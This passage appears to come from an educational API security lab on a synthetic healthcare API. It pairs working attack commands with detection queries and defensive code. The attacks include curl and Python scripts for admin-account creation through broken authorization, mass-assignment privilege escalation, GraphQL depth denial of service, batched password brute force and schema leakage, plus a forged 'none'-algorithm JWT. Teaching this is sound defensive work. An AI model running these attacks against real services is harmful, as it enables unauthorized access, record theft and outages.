    "last_login": "2026-04-05T08:30:00Z"
  },
  {
    "id": "user-0002",
    "username": "sysadmin",
    "email": "sysadmin@example.com",
    "role": "admin",
    "last_login": "2026-04-04T22:15:00Z"
  },
  {
    "id": "user-5847",
    "username": "testuser",
    "email": "testuser@example.com",
    "role": "patient",
    "last_login": "2026-04-05T10:00:00Z"
  }
]
# Create a new admin user (admin function)
curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{
        "username": "backdoor-admin",
        "email": "backdoor@example.com",
        "password": "REDACTED",
        "role": "admin"
    }' \
    https://api.example.com/v2/internal/admin/users | jq .

Expected Output (Vulnerable):

{
  "id": "user-9999",
  "username": "backdoor-admin",
  "email": "backdoor@example.com",
  "role": "admin",
  "created_at": "2026-04-05T10:05:00Z",
  "message": "User created successfully"
}

Finding: API5:2023 — Broken Function Level Authorization (Critical)

A user with patient role can access /v2/internal/admin/users and create new admin accounts. The endpoint performs authentication (valid token required) but does not verify the user's role. Administrative endpoints must enforce role-based authorization checks in middleware, not just at the route level.

# Test additional admin functions
# Delete a patient record
curl -s -X DELETE \
    -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/patients/1002

# Access internal metrics
curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/internal/metrics | jq '.database'

# Export all records
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://api.example.com/v2/reports/generate?format=csv&scope=all_patients"

Step 3.4 — Mass Assignment Exploitation

Mass assignment occurs when the API binds client-supplied data directly to internal data models without filtering which fields the user can modify.

# View current user profile
curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/users/me | jq .

Expected Output:

{
  "id": "user-5847",
  "username": "testuser",
  "email": "testuser@example.com",
  "role": "patient",
  "verified": true,
  "is_admin": false,
  "subscription": "free",
  "permissions": ["read:own_records", "write:own_appointments"]
}
# Attempt mass assignment — inject admin fields in profile update
curl -s -X PATCH \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{
        "email": "testuser@example.com",
        "role": "admin",
        "is_admin": true,
        "subscription": "enterprise",
        "permissions": ["admin:all", "read:all_records", "write:all", "delete:all"]
    }' \
    https://api.example.com/v2/users/me | jq .

Expected Output (Vulnerable):

{
  "id": "user-5847",
  "username": "testuser",
  "email": "testuser@example.com",
  "role": "admin",
  "verified": true,
  "is_admin": true,
  "subscription": "enterprise",
  "permissions": ["admin:all", "read:all_records", "write:all", "delete:all"],
  "message": "Profile updated successfully"
}

Finding: API6:2023 — Unrestricted Access to Sensitive Business Flows / Mass Assignment

The /v2/users/me PATCH endpoint accepts arbitrary fields including role, is_admin, and permissions. The API blindly assigns all submitted properties to the user model. The server must use a whitelist of editable fields (e.g., only email and name) and reject or ignore all other properties.


Phase 3 — Detection Queries

KQL — BOLA/IDOR Detection

// Detect sequential object ID enumeration (BOLA pattern)
ApiAccessLogs
| where TimeGenerated > ago(30m)
| where RequestPath matches regex @"/patients/\d+"
| extend PatientId = toint(extract(@"/patients/(\d+)", 1, RequestPath))
| summarize
    UniqueIds = dcount(PatientId),
    MinId = min(PatientId),
    MaxId = max(PatientId),
    RequestCount = count(),
    Paths = make_set(RequestPath, 10)
    by SourceIP, UserId, bin(TimeGenerated, 5m)
| where UniqueIds >= 10
| extend IdRange = MaxId - MinId,
    AlertSeverity = iff(UniqueIds >= 50, "Critical", "High"),
    AttackTechnique = "T1213 - Data from Information Repositories"
| where IdRange > 0
// Detect Broken Function Level Authorization — non-admin accessing admin endpoints
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where RequestPath has "admin" or RequestPath has "internal"
| where ResponseCode == 200
| join kind=inner (
    UserRoles
    | where Role != "admin" and Role != "superadmin"
) on UserId
| project TimeGenerated, SourceIP, UserId, Role, RequestPath, HttpMethod
| extend AlertSeverity = "Critical",
    AttackTechnique = "T1548 - Abuse Elevation Control Mechanism"
// Detect mass assignment attempts — unusual fields in PATCH/PUT requests
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where HttpMethod in ("PATCH", "PUT")
| where RequestBody has_any ("role", "is_admin", "permissions",
    "subscription", "verified", "admin")
| where ResponseCode == 200
| project TimeGenerated, SourceIP, UserId, RequestPath,
    RequestBody, ResponseCode
| extend AlertSeverity = "High",
    AttackTechnique = "T1548 - Mass Assignment"

SPL — Authorization Attack Detection

| Detect BOLA/IDOR sequential enumeration
index=api_logs sourcetype=api_access uri_path="/v2/patients/*"
| rex field=uri_path "/patients/(?<patient_id>\d+)"
| stats dc(patient_id) AS unique_ids
    min(patient_id) AS min_id
    max(patient_id) AS max_id
    count AS request_count
    by src_ip user_id _time span=5m
| where unique_ids >= 10
| eval id_range=max_id-min_id,
    severity=if(unique_ids>=50, "Critical", "High"),
    mitre_technique="T1213"
| Detect mass assignment via unexpected fields in request body
index=api_logs sourcetype=api_access http_method IN ("PATCH", "PUT")
| spath input=request_body
| where isnotnull(role) OR isnotnull(is_admin)
    OR isnotnull(permissions) OR isnotnull(subscription)
| table _time src_ip user_id uri_path role is_admin permissions status
| eval severity="High",
    mitre_technique="T1548",
    alert_name="Mass Assignment Attempt"

Phase 4: GraphQL Exploitation

Objectives

  • Use introspection queries to map the complete GraphQL schema
  • Execute depth attacks with deeply nested queries to cause denial of service
  • Perform batching brute-force against authentication mutations
  • Exploit field suggestion leakage to discover hidden fields and types

ATT&CK Mapping

Technique ID Tactic
Gather Victim Network Information T1590 Reconnaissance
Brute Force: Password Spraying T1110.003 Credential Access
Endpoint Denial of Service T1499 Impact
Network Denial of Service T1498 Impact

Step 4.1 — GraphQL Introspection Attack

GraphQL introspection allows clients to query the schema itself. If enabled in production, attackers can map every type, field, mutation, and subscription.

# Full introspection query — extract the entire schema
curl -s -X POST https://graphql.example.com/query \
    -H "Content-Type: application/json" \
    -d '{
        "query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"
    }' | jq '.data.__schema.types[] | select(.kind == "OBJECT") | .name'

Expected Output:

"Query"
"Mutation"
"Patient"
"Doctor"
"Appointment"
"Prescription"
"MedicalRecord"
"LabResult"
"InsuranceClaim"
"InternalAuditLog"
"AdminConfig"
"User"
"BillingInfo"
"PaymentMethod"
# Extract all queries and mutations available
curl -s -X POST https://graphql.example.com/query \
    -H "Content-Type: application/json" \
    -d '{
        "query": "{ __schema { queryType { fields { name args { name type { name } } } } mutationType { fields { name args { name type { name } } } } } }"
    }' | jq '.data.__schema'

Expected Output:

{
  "queryType": {
    "fields": [
      {"name": "patient", "args": [{"name": "id", "type": {"name": "ID"}}]},
      {"name": "patients", "args": [{"name": "limit", "type": {"name": "Int"}}, {"name": "offset", "type": {"name": "Int"}}]},
      {"name": "doctor", "args": [{"name": "id", "type": {"name": "ID"}}]},
      {"name": "appointment", "args": [{"name": "id", "type": {"name": "ID"}}]},
      {"name": "myRecords", "args": []},
      {"name": "auditLogs", "args": [{"name": "filter", "type": {"name": "AuditFilter"}}]},
      {"name": "adminConfig", "args": []}
    ]
  },
  "mutationType": {
    "fields": [
      {"name": "login", "args": [{"name": "username", "type": {"name": "String"}}, {"name": "password", "type": {"name": "String"}}]},
      {"name": "updatePatient", "args": [{"name": "id", "type": {"name": "ID"}}, {"name": "input", "type": {"name": "PatientInput"}}]},
      {"name": "deletePatient", "args": [{"name": "id", "type": {"name": "ID"}}]},
      {"name": "createPrescription", "args": [{"name": "input", "type": {"name": "PrescriptionInput"}}]},
      {"name": "resetPassword", "args": [{"name": "email", "type": {"name": "String"}}]}
    ]
  }
}

Finding: GraphQL Introspection Enabled in Production

Full introspection is enabled, exposing the complete API schema including internal types (InternalAuditLog, AdminConfig), all mutations (including deletePatient), and input type definitions. Introspection must be disabled in production or restricted to authenticated administrators.

# Extract sensitive type fields
curl -s -X POST https://graphql.example.com/query \
    -H "Content-Type: application/json" \
    -d '{
        "query": "{ __type(name: \"Patient\") { fields { name type { name kind ofType { name } } } } }"
    }' | jq '.data.__type.fields[] | .name'

Expected Output:

"id"
"name"
"email"
"dateOfBirth"
"ssn"
"insuranceId"
"medicalRecords"
"prescriptions"
"billingInfo"
"paymentMethods"
"internalNotes"
"riskScore"

Step 4.2 — GraphQL Depth Attack (Denial of Service)

Deeply nested queries can cause exponential server-side computation if query depth is not limited.

#!/usr/bin/env python3
"""GraphQL depth attack — EDUCATIONAL ONLY (SYNTHETIC)"""

import requests
import json
import time

GQL_BASE = "https://graphql.example.com/query"  # SYNTHETIC

def build_depth_query(depth: int) -> str:
    """Build a deeply nested GraphQL query exploiting circular references."""
    query = "{ patients { "
    inner = ""
    for i in range(depth):
        inner += "appointments { doctor { patients { "
    # Close all braces
    inner += "id " + "} " * (depth * 3)
    return query + inner + "} }"

# Test increasing depths
for depth in [5, 10, 20, 50, 100]:
    query = build_depth_query(depth)
    start = time.time()

    try:
        response = requests.post(
            GQL_BASE,
            json={"query": query},
            timeout=30
        )
        elapsed = time.time() - start

        if response.status_code == 200:
            print(f"[+] Depth {depth:3d}: {elapsed:.2f}s — HTTP 200 "
                  f"(Response: {len(response.content)} bytes)")
        elif response.status_code == 400:
            error_msg = response.json().get("errors", [{}])[0].get("message", "")
            print(f"[-] Depth {depth:3d}: Rejected — {error_msg}")
        else:
            print(f"[?] Depth {depth:3d}: HTTP {response.status_code}")
    except requests.exceptions.Timeout:
        elapsed = time.time() - start
        print(f"[!] Depth {depth:3d}: TIMEOUT after {elapsed:.2f}s — "
              f"server likely overloaded")

Expected Output (Vulnerable):

[+] Depth   5:  0.12s — HTTP 200 (Response: 45230 bytes)
[+] Depth  10:  0.89s — HTTP 200 (Response: 512840 bytes)
[+] Depth  20:  8.43s — HTTP 200 (Response: 5242880 bytes)
[+] Depth  50: 28.17s — HTTP 200 (Response: 15728640 bytes)
[!] Depth 100: TIMEOUT after 30.00s — server likely overloaded

Finding: No GraphQL Query Depth Limit

The GraphQL server processes queries of arbitrary depth, allowing an attacker to cause exponential server-side computation through circular type references (Patient → Appointment → Doctor → Patient → ...). Implement query depth limiting (recommended max: 7-10) and query complexity analysis.


Step 4.3 — GraphQL Batching Brute-Force

GraphQL allows sending multiple operations in a single HTTP request. Attackers exploit this to bypass rate limiting on authentication mutations.

#!/usr/bin/env python3
"""GraphQL batching brute-force attack — EDUCATIONAL ONLY (SYNTHETIC)"""

import requests
import json

GQL_BASE = "https://graphql.example.com/query"  # SYNTHETIC

# Synthetic password list (EDUCATIONAL — all fictitious)
passwords = [
    "REDACTED-password1", "REDACTED-password2", "REDACTED-password3",
    "REDACTED-password4", "REDACTED-password5", "REDACTED-password6",
    "REDACTED-password7", "REDACTED-password8", "REDACTED-password9",
    "REDACTED-password10", "REDACTED-password11", "REDACTED-password12",
    "REDACTED-correct-password", "REDACTED-password14",
    "REDACTED-password15", "REDACTED-password16",
]

# Build batched login mutations — 16 attempts in one request
batch = []
for i, password in enumerate(passwords):
    batch.append({
        "query": f"""
            mutation attempt{i} {{
                login(username: "admin", password: "{password}") {{
                    token
                    success
                    message
                }}
            }}
        """
    })

print(f"[*] Sending batched brute-force: {len(batch)} login attempts in 1 request")

response = requests.post(GQL_BASE, json=batch)
results = response.json()

print(f"[*] HTTP Status: {response.status_code}")
print(f"[*] Received {len(results)} responses\n")

for i, result in enumerate(results):
    data = result.get("data", {}).get(f"attempt{i}", {})
    if data and data.get("success"):
        print(f"[!] CREDENTIAL FOUND at attempt {i}:")
        print(f"    Password: {passwords[i]}")
        print(f"    Token: {data.get('token', 'N/A')[:40]}...")
        break
    elif data:
        print(f"[-] Attempt {i}: {data.get('message', 'Failed')}")

Expected Output (Vulnerable):

[*] Sending batched brute-force: 16 login attempts in 1 request
[*] HTTP Status: 200
[*] Received 16 responses

[-] Attempt 0: Invalid credentials
[-] Attempt 1: Invalid credentials
[-] Attempt 2: Invalid credentials
...
[-] Attempt 11: Invalid credentials
[!] CREDENTIAL FOUND at attempt 12:
    Password: REDACTED-correct-password
    Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVC...

Finding: API4:2023 — Unrestricted Resource Consumption

GraphQL batching allows sending dozens of login mutations in a single HTTP request, effectively bypassing per-request rate limiting. The server must implement per-operation rate limiting, limit batch sizes, and apply complexity-based throttling.


Step 4.4 — GraphQL Field Suggestion Exploitation

When a field name is misspelled, many GraphQL servers suggest valid field names — leaking schema information even when introspection is disabled.

# Query with intentionally misspelled field to trigger suggestions
curl -s -X POST https://graphql.example.com/query \
    -H "Content-Type: application/json" \
    -d '{"query": "{ patient(id: \"1001\") { ssNumber } }"}' | jq '.errors'

Expected Output:

[
  {
    "message": "Cannot query field \"ssNumber\" on type \"Patient\". Did you mean \"ssn\", \"insuranceNumber\", or \"phoneNumber\"?",
    "locations": [{"line": 1, "column": 30}],
    "extensions": {
      "code": "GRAPHQL_VALIDATION_FAILED"
    }
  }
]
# Systematically extract field names through suggestion exploitation
for field in passw secre intern admin config billing payment \
             token cred apikey soci medic insur; do
    result=$(curl -s -X POST https://graphql.example.com/query \
        -H "Content-Type: application/json" \
        -d "{\"query\": \"{ patient(id: \\\"1001\\\") { ${field} } }\"}")
    suggestions=$(echo "$result" | jq -r '.errors[0].message // empty' | \
        grep -oP '"[^"]+?"' | tr -d '"')
    if [ -n "$suggestions" ]; then
        echo "[+] Prefix '${field}' → Suggested fields: $suggestions"
    fi
done

Expected Output:

[+] Prefix 'passw' → Suggested fields: passwordHash passwordResetToken
[+] Prefix 'secre' → Suggested fields: secretQuestion secretAnswer
[+] Prefix 'intern' → Suggested fields: internalNotes internalId
[+] Prefix 'admin' → Suggested fields: adminNotes adminOverride
[+] Prefix 'billing' → Suggested fields: billingInfo billingAddress
[+] Prefix 'payment' → Suggested fields: paymentMethods paymentHistory
[+] Prefix 'token' → Suggested fields: tokenExpiry tokenVersion
[+] Prefix 'soci' → Suggested fields: ssn socialSecurityNumber
[+] Prefix 'medic' → Suggested fields: medicalRecords medicationList
[+] Prefix 'insur' → Suggested fields: insuranceId insuranceProvider

Finding: Schema Leakage via Field Suggestions

Even if introspection is disabled, field suggestions reveal the complete schema. The server exposes sensitive internal fields (passwordHash, passwordResetToken, adminOverride) through error messages. Disable field suggestions in production using the fieldSuggestions: false option.


Phase 4 — Detection Queries

KQL — GraphQL Attack Detection

// Detect GraphQL introspection queries
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where RequestPath has "graphql"
| where RequestBody has "__schema" or RequestBody has "__type"
    or RequestBody has "__introspection"
| summarize
    IntrospectionCount = count(),
    UniqueQueries = dcount(RequestBody)
    by SourceIP, bin(TimeGenerated, 15m)
| extend AlertSeverity = "High",
    AttackTechnique = "T1590 - Gather Victim Network Information"
// Detect GraphQL depth attacks via response size and latency
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where RequestPath has "graphql"
| where ResponseSizeBytes > 1048576 or ResponseTimeMs > 5000
| project TimeGenerated, SourceIP, RequestPath, ResponseSizeBytes,
    ResponseTimeMs, ResponseCode
| extend ResponseSizeMB = round(ResponseSizeBytes / 1048576.0, 2)
| where ResponseSizeMB > 1 or ResponseTimeMs > 5000
| extend AlertSeverity = "High",
    AttackTechnique = "T1499 - Endpoint Denial of Service"
// Detect GraphQL batching brute-force
ApiAccessLogs
| where TimeGenerated > ago(30m)
| where RequestPath has "graphql"
| where RequestBody has "login" or RequestBody has "authenticate"
| extend BatchSize = countof(RequestBody, "mutation")
| where BatchSize >= 5
| project TimeGenerated, SourceIP, BatchSize, ResponseCode
| extend AlertSeverity = "Critical",
    AttackTechnique = "T1110.003 - Brute Force: Password Spraying"

SPL — GraphQL Attack Detection

| Detect GraphQL introspection queries
index=api_logs sourcetype=api_access uri_path="*graphql*"
| search request_body="*__schema*" OR request_body="*__type*"
| stats count AS introspection_count
    dc(request_body) AS unique_queries
    by src_ip span=15m
| where introspection_count >= 1
| eval severity="High",
    mitre_technique="T1590"
| Detect GraphQL batching brute-force
index=api_logs sourcetype=api_access uri_path="*graphql*"
| eval mutation_count=mvcount(split(request_body, "mutation"))
| where mutation_count >= 5
| search request_body="*login*" OR request_body="*authenticate*"
| table _time src_ip mutation_count response_time status
| eval severity="Critical",
    mitre_technique="T1110.003",
    alert_name="GraphQL Batching Brute-Force"

Phase 5: Defense Implementation

Objectives

  • Implement JSON Schema input validation to prevent mass assignment and injection
  • Configure rate limiting at the API gateway level
  • Enforce JWT algorithm allowlisting to prevent algorithm confusion attacks
  • Build proper authorization middleware with object-level access control
  • Apply API gateway security policies for comprehensive protection

ATT&CK Mapping

Technique Mitigated ID Mitigation Category
Forge Web Credentials T1606 M1054 — Software Configuration
Abuse Elevation Control Mechanism T1548 M1038 — Execution Prevention
Brute Force T1110 M1036 — Account Use Policies
Endpoint Denial of Service T1499 M1037 — Filter Network Traffic

Step 5.1 — JSON Schema Input Validation

Prevent mass assignment by explicitly defining and validating the allowed request schema.

#!/usr/bin/env python3
"""JSON Schema validation middleware — EDUCATIONAL EXAMPLE"""

from jsonschema import validate, ValidationError
import json

# Define strict schemas for each endpoint
SCHEMAS = {
    "PATCH /v2/users/me": {
        "type": "object",
        "properties": {
            "email": {
                "type": "string",
                "format": "email",
                "maxLength": 255
            },
            "name": {
                "type": "string",
                "minLength": 1,
                "maxLength": 100,
                "pattern": "^[a-zA-Z\\s'-]+$"
            },
            "phone": {
                "type": "string",
                "pattern": "^\\+?[1-9]\\d{1,14}$"
            }
        },
        "additionalProperties": False,  # CRITICAL: reject unknown fields
        "required": []
    },
    "POST /v2/patients": {
        "type": "object",
        "properties": {
            "name": {
                "type": "string",
                "minLength": 1,
                "maxLength": 200
            },
            "email": {
                "type": "string",
                "format": "email"
            },
            "dateOfBirth": {
                "type": "string",
                "format": "date",
                "pattern": "^\\d{4}-\\d{2}-\\d{2}$"
            }
        },
        "additionalProperties": False,
        "required": ["name", "email", "dateOfBirth"]
    }
}

def validate_request(method: str, path: str, body: dict) -> dict:
    """Validate request body against JSON Schema."""
    schema_key = f"{method} {path}"
    schema = SCHEMAS.get(schema_key)

    if not schema:
        return {"valid": False, "error": "No schema defined for endpoint"}

    try:
        validate(instance=body, schema=schema)
        return {"valid": True}
    except ValidationError as e:
        return {
            "valid": False,
            "error": f"Validation failed: {e.message}",
            "path": list(e.absolute_path),
            "rejected_field": e.path[-1] if e.path else None
        }

# Test: legitimate update — should pass
result = validate_request("PATCH", "/v2/users/me", {
    "email": "newemail@example.com",
    "name": "Test User"
})
print(f"Legitimate update: {result}")
# Output: {'valid': True}

# Test: mass assignment attempt — should fail
result = validate_request("PATCH", "/v2/users/me", {
    "email": "newemail@example.com",
    "role": "admin",
    "is_admin": True,
    "permissions": ["admin:all"]
})
print(f"Mass assignment attempt: {result}")
# Output: {'valid': False, 'error': "Validation failed: Additional properties are
#          not allowed ('role', 'is_admin', 'permissions' were unexpected)"}

Step 5.2 — Rate Limiting Configuration

#!/usr/bin/env python3
"""API rate limiting configuration — EDUCATIONAL EXAMPLE"""

# Express.js rate limiting configuration (Node.js)
RATE_LIMIT_CONFIG = """
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const Redis = require('ioredis');

const redis = new Redis({
    host: '10.10.50.200',  // SYNTHETIC — RFC 1918
    port: 6379
});

// Global rate limit — 100 requests per 15 minutes per IP
const globalLimiter = rateLimit({
    store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
    windowMs: 15 * 60 * 1000,
    max: 100,
    standardHeaders: true,
    legacyHeaders: false,
    message: {
        error: 'rate_limit_exceeded',
        message: 'Too many requests. Try again later.',
        retryAfter: 900
    }
});

// Strict rate limit for authentication endpoints
const authLimiter = rateLimit({
    store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
    windowMs: 15 * 60 * 1000,
    max: 5,                    // Only 5 login attempts per 15 minutes
    skipSuccessfulRequests: true,
    message: {
        error: 'auth_rate_limit',
        message: 'Too many login attempts. Account temporarily locked.',
        retryAfter: 900
    }
});

// Sensitive endpoint rate limit
const sensitiveLimiter = rateLimit({
    store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
    windowMs: 60 * 1000,
    max: 10,
    message: {
        error: 'sensitive_rate_limit',
        message: 'Rate limit exceeded for this resource.'
    }
});

// Apply rate limiters
app.use('/v2/', globalLimiter);
app.use('/v2/auth/login', authLimiter);
app.use('/v2/auth/register', authLimiter);
app.use('/v2/patients/', sensitiveLimiter);
app.use('/v2/reports/', sensitiveLimiter);
"""

print(RATE_LIMIT_CONFIG)

Nginx API Gateway Rate Limiting:

# /etc/nginx/conf.d/api-rate-limiting.conf (SYNTHETIC)

# Define rate limit zones
limit_req_zone $binary_remote_addr zone=api_global:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=api_auth:10m rate=1r/m;
limit_req_zone $binary_remote_addr zone=api_sensitive:10m rate=5r/s;
limit_req_zone $binary_remote_addr zone=graphql:10m rate=2r/s;

server {
    listen 443 ssl http2;
    server_name api.example.com;  # SYNTHETIC

    # Global rate limit
    location /v2/ {
        limit_req zone=api_global burst=20 nodelay;
        limit_req_status 429;
        proxy_pass http://10.10.50.100:3000;  # SYNTHETIC — RFC 1918
    }

    # Strict auth rate limit
    location /v2/auth/ {
        limit_req zone=api_auth burst=3 nodelay;
        limit_req_status 429;
        proxy_pass http://10.10.50.100:3000;
    }

    # Sensitive data rate limit
    location /v2/patients/ {
        limit_req zone=api_sensitive burst=10 nodelay;
        limit_req_status 429;
        proxy_pass http://10.10.50.100:3000;
    }

    # GraphQL rate limit
    location /query {
        limit_req zone=graphql burst=5 nodelay;
        limit_req_status 429;

        # Limit request body size to prevent depth attacks
        client_max_body_size 10k;

        proxy_pass http://10.10.50.101:4000;  # SYNTHETIC
    }

    # Custom 429 error response
    error_page 429 = @rate_limited;
    location @rate_limited {
        default_type application/json;
        return 429 '{"error":"rate_limit_exceeded","retryAfter":60}';
    }
}

Step 5.3 — JWT Validation with Algorithm Allowlisting

#!/usr/bin/env python3
"""Secure JWT validation middleware — EDUCATIONAL EXAMPLE"""

import jwt
from functools import wraps
from flask import request, jsonify, g

# CRITICAL: Explicit algorithm allowlist
ALLOWED_ALGORITHMS = ["RS256"]  # NEVER include "none" or "HS256" with RSA keys

# Load the public key (SYNTHETIC — not a real key)
PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0SYNTHETIC...
REDACTED...EXAMPLE...ONLY
-----END PUBLIC KEY-----"""

ISSUER = "https://auth.example.com"     # SYNTHETIC
AUDIENCE = "medvault-api"               # SYNTHETIC

def validate_jwt(token: str) -> dict:
    """
    Validate JWT with strict security controls.

    Security measures:
    1. Algorithm allowlist — only RS256 accepted
    2. Issuer validation — must match auth server
    3. Audience validation — must match this API
    4. Expiration enforcement — reject expired tokens
    5. Required claims — sub, role, permissions must exist
    """
    try:
        payload = jwt.decode(
            token,
            PUBLIC_KEY,
            algorithms=ALLOWED_ALGORITHMS,    # CRITICAL: never use jwt.decode(token, key)
            issuer=ISSUER,                    # Verify issuer claim
            audience=AUDIENCE,                # Verify audience claim
            options={
                "require": ["exp", "iat", "sub", "iss", "aud"],
                "verify_exp": True,
                "verify_iat": True,
                "verify_iss": True,
                "verify_aud": True,
            }
        )
        return {"valid": True, "payload": payload}
    except jwt.InvalidAlgorithmError:
        return {"valid": False, "error": "Invalid algorithm — only RS256 accepted"}
    except jwt.ExpiredSignatureError:
        return {"valid": False, "error": "Token expired"}
    except jwt.InvalidIssuerError:
        return {"valid": False, "error": "Invalid token issuer"}
    except jwt.InvalidAudienceError:
        return {"valid": False, "error": "Invalid token audience"}
    except jwt.DecodeError:
        return {"valid": False, "error": "Token decode failed — malformed JWT"}
    except Exception as e:
        return {"valid": False, "error": f"Validation error: {str(e)}"}


def require_auth(f):
    """Authentication middleware decorator."""
    @wraps(f)
    def decorated(*args, **kwargs):
        auth_header = request.headers.get("Authorization", "")
        if not auth_header.startswith("Bearer "):
            return jsonify({"error": "Missing or invalid Authorization header"}), 401

        token = auth_header.split(" ", 1)[1]
        result = validate_jwt(token)

        if not result["valid"]:
            return jsonify({"error": result["error"]}), 401

        g.user = result["payload"]
        return f(*args, **kwargs)

    return decorated


def require_role(*allowed_roles):
    """Role-based authorization middleware."""
    def decorator(f):
        @wraps(f)
        def decorated(*args, **kwargs):
            user_role = g.user.get("role", "")
            if user_role not in allowed_roles:
                return jsonify({
                    "error": "forbidden",
                    "message": f"Role '{user_role}' not authorized for this resource"
                }), 403
            return f(*args, **kwargs)
        return decorator
    return decorator


# Usage examples:
# @app.route("/v2/patients/<patient_id>")
# @require_auth
# def get_patient(patient_id):
#     # Object-level authorization — verify user owns this record
#     if g.user["role"] != "admin" and g.user["sub"] != get_patient_owner(patient_id):
#         return jsonify({"error": "forbidden"}), 403
#     ...
#
# @app.route("/v2/internal/admin/users")
# @require_auth
# @require_role("admin", "superadmin")
# def list_admin_users():
#     ...

Step 5.4 — Object-Level Authorization Middleware

#!/usr/bin/env python3
"""Object-level authorization (BOLA prevention) — EDUCATIONAL EXAMPLE"""

from functools import wraps
from flask import request, jsonify, g

# Resource ownership mapping (in production, this queries the database)
OWNERSHIP_RULES = {
    "patients": {
        "owner_field": "user_id",         # DB field linking patient to user
        "admin_bypass": True,             # Admins can access any patient
        "allowed_roles": ["admin", "doctor", "patient"]
    },
    "appointments": {
        "owner_field": "patient_user_id",
        "admin_bypass": True,
        "allowed_roles": ["admin", "doctor", "patient"]
    },
    "prescriptions": {
        "owner_field": "patient_user_id",
        "admin_bypass": True,
        "allowed_roles": ["admin", "doctor"]
    }
}

def check_object_authorization(resource_type: str, resource_id: str,
                                user: dict, db) -> dict:
    """
    Verify the authenticated user is authorized to access a specific object.

    Returns:
        {"authorized": True} or {"authorized": False, "reason": "..."}
    """
    rules = OWNERSHIP_RULES.get(resource_type)
    if not rules:
        return {"authorized": False, "reason": "Unknown resource type"}

    user_role = user.get("role", "")
    user_id = user.get("sub", "")

    # Check role is allowed for this resource type
    if user_role not in rules["allowed_roles"]:
        return {"authorized": False, "reason": f"Role '{user_role}' cannot access {resource_type}"}

    # Admin bypass (if configured)
    if rules["admin_bypass"] and user_role == "admin":
        return {"authorized": True}

    # Object-level check: does this user own this resource?
    resource = db.get(resource_type, resource_id)
    if not resource:
        return {"authorized": False, "reason": "Resource not found"}

    owner_id = resource.get(rules["owner_field"])
    if owner_id != user_id:
        return {"authorized": False,
                "reason": f"User {user_id} does not own {resource_type}/{resource_id}"}

    return {"authorized": True}


def require_object_access(resource_type: str):
    """Decorator to enforce object-level authorization."""
    def decorator(f):
        @wraps(f)
        def decorated(*args, **kwargs):
            resource_id = kwargs.get("id") or kwargs.get("resource_id")
            if not resource_id:
                return jsonify({"error": "Resource ID required"}), 400

            result = check_object_authorization(
                resource_type, resource_id, g.user, g.db
            )

            if not result["authorized"]:
                # Log the unauthorized access attempt
                log_security_event(
                    event_type="BOLA_ATTEMPT",
                    user_id=g.user.get("sub"),
                    resource=f"{resource_type}/{resource_id}",
                    reason=result["reason"],
                    source_ip=request.remote_addr
                )
                return jsonify({"error": "forbidden"}), 403

            return f(*args, **kwargs)
        return decorator
    return decorator


def log_security_event(**kwargs):
    """Log security events for SIEM ingestion."""
    import json
    import datetime
    event = {
        "timestamp": datetime.datetime.utcnow().isoformat(),
        "severity": "HIGH",
        **kwargs
    }
    # In production: send to SIEM via syslog, HTTP, or message queue
    print(json.dumps(event))

Step 5.5 — API Gateway Security Policies

# API Gateway security policy configuration (SYNTHETIC)
# Platform: Kong / AWS API Gateway / Azure APIM style

api_security_policies:

  # 1. Authentication enforcement
  authentication:
    type: jwt
    config:
      algorithms: ["RS256"]          # Allowlist only
      issuer: "https://auth.example.com"
      audience: "medvault-api"
      jwks_uri: "https://auth.example.com/.well-known/jwks.json"
      claims_to_verify: ["exp", "iat", "iss", "aud", "sub"]
      token_header: "Authorization"
      token_prefix: "Bearer"

  # 2. Input validation
  request_validation:
    enabled: true
    config:
      content_type_validation: true
      allowed_content_types: ["application/json"]
      max_body_size: "100KB"
      parameter_validation: true
      reject_unknown_parameters: true

  # 3. Rate limiting tiers
  rate_limiting:
    global:
      requests_per_minute: 60
      requests_per_hour: 1000
      by: "consumer_ip"
    authentication:
      requests_per_minute: 5
      requests_per_hour: 20
      by: "consumer_ip"
    sensitive_data:
      requests_per_minute: 20
      requests_per_hour: 200
      by: "consumer_credential"

  # 4. Response transformation (prevent data leakage)
  response_transformation:
    remove_headers:
      - "X-Powered-By"
      - "Server"
    add_headers:
      - "X-Content-Type-Options: nosniff"
      - "X-Frame-Options: DENY"
      - "Strict-Transport-Security: max-age=31536000; includeSubDomains"
      - "Cache-Control: no-store"
    strip_stack_traces: true

  # 5. IP allowlisting for admin endpoints
  ip_restriction:
    admin_endpoints:
      paths: ["/v2/internal/*", "/v2/admin/*"]
      allowed_ips:
        - "10.10.0.0/16"        # SYNTHETIC — corporate VPN
        - "192.168.100.0/24"    # SYNTHETIC — SOC subnet
      deny_action: "reject"
      deny_status: 403

  # 6. Request size and complexity limits
  request_limits:
    max_uri_length: 2048
    max_header_count: 50
    max_header_size: "8KB"
    max_query_params: 20
    graphql:
      max_depth: 7
      max_complexity: 1000
      max_aliases: 10
      introspection: false
      batch_limit: 5

Phase 5 — Validation Testing

# Test 1: Verify algorithm allowlisting blocks 'none' algorithm
FORGED_TOKEN="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyLTU4NDciLCJyb2xlIjoiYWRtaW4ifQ."
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
    https://api.example.com/v2/users/me | jq .
# Expected: {"error": "Invalid algorithm — only RS256 accepted"}

# Test 2: Verify mass assignment is blocked
